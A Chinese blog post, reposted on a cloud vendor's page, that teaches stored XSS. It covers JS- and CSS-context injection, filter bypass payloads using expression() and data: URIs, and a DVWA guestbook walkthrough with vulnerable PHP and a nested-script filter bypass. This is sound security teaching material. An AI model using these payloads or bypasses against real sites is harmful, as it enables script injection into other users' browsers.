存储型 XSS

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介:

存储型XSS

XSS攻击的用处

093641850.png

JS-Context存储型XSS:
1、</script>闭合当前脚本,然后输入自定义内容。

093644170.png

过滤<,>,/
替换</script>为</’+’script>(网易邮箱)
2、根据JS上下文,构造正确的闭合。

093646523.png

根据实际情况,进行过滤。通常输出是字符串,在’和"之间,过滤’,"即可

093648986.png

和<script>中的XSS一样,过滤’和"
而实际上,在HTML的属性里,&#NNN;或&#xNN;也是可以被执行的!

093650104.png

进一步构造利用代码

093653537.png

还需要将&过滤为&amp;


CSS-Context存储型XSS
除了<style>….</style>中可以被写入CSS数据之外,还有其它位置也可以:

1.
<divstyle="width:if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex\pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:ex/**/pression(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="width:express\69on(if(!window.x){alert(1);window.x=1})"></div>
<divstyle="w&#105;dth:express&#x0069;on(if(!w&#x69;ndow.x){alert(1);w&#x069;ndow.x=1})"></div>
2.
<linkrel=stylesheethref=data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7d/>
3.
<style>@import"data:,*%7bx:if(!window.x)%7balert(1);window.x=1%7d)%7D";</style>
4.
<divstyle="font-family:foo}x=if(!window.x){alert(1);window.x=1});">XXX</div>
5.



下面我们在看一下在DVWA里面存储型的XSS漏洞的各种级别和代码的应用
在dvwa里存储型的xss的使用实在留言板里面实现,只需要在留言板输入利用的代码就可以


low级代码

01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12
13//Sanitizenameinput
14$name=mysql_real_escape_string($name);
15
16$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
17
18$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
19
20}
21
22?>


我们输入
<script>alert('xss')</script>

093655215.png

093658895.png

另外有一点挺有意思,在输入name时会发现有字数的限制,但php中并没有判断name的长度
所以修改客户端html就可以删除这个限制,看代码

093701370.png

medium级代码

01<?php
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=trim(strip_tags(addslashes($message)));
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=str_replace('<script>','',$name);
16$name=mysql_real_escape_string($name);
17
18$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
19
20$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
21
22}
23
24?>

这里可以看到$name的过滤比较简单,那么就从他下手,用到了str_replace()函数,这个很好绕过吧

<<script>script>alert('123');</script>

不要说有长度限制,只要修改一下客户端html在提交就可以了




high级代码

01
02
03if(isset($_POST['btnSign']))
04{
05
06$message=trim($_POST['mtxMessage']);
07$name=
trim($_POST['txtName']);
08
09//Sanitizemessageinput
10$message=stripslashes($message);
11$message=mysql_real_escape_string($message);
12$message=htmlspecialchars($message);
13
14//Sanitizenameinput
15$name=stripslashes($name);


16$name=mysql_real_escape_string($name);
17$name=htmlspecialchars($name);
18
19$query="INSERTINTOguestbook(comment,name)VALUES('$message','$name');";
20
21$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
22
23}
24
25?>


对于high级的代码,我们看到它同样使用了htmlspecialchars()函数,大家可以找方法绕过去!


文章中有许多的不足之处,XSS也无法一一都详细说明,有自己观点可以给我提出,谢谢!




     本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1306079,如需转载请自行联系原作者




相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1月前
|
存储 前端开发 JavaScript
存储型 XSS 攻击演示(附链接)
存储型 XSS 攻击演示(附链接)
98 0
|
11月前
|
存储 PHP
PHP审计-存储XSS挖掘
PHP审计-存储XSS挖掘
PHP审计-存储XSS挖掘
|
11月前
|
存储 数据库
力大砖飞-存储型Xss Fuzz手法
力大砖飞-存储型Xss Fuzz手法
101 0
|
11月前
|
存储 SQL 监控
某xxphp网站后台存储型XSS漏洞分析
某xxphp网站后台存储型XSS漏洞分析
|
存储 安全 JavaScript
gitlab漏洞系列-存在于markdown中的存储型XSS
背景 复现步骤 影响 绕过csp示例 后续
140 0
|
存储 安全 前端开发
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
背景 复现步骤 gitlab漏洞系列-RDoc wiki页面中的存储型XSS
118 0
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
|
存储 安全 数据安全/隐私保护
|
Web App开发 存储 测试技术
|
1月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
22 0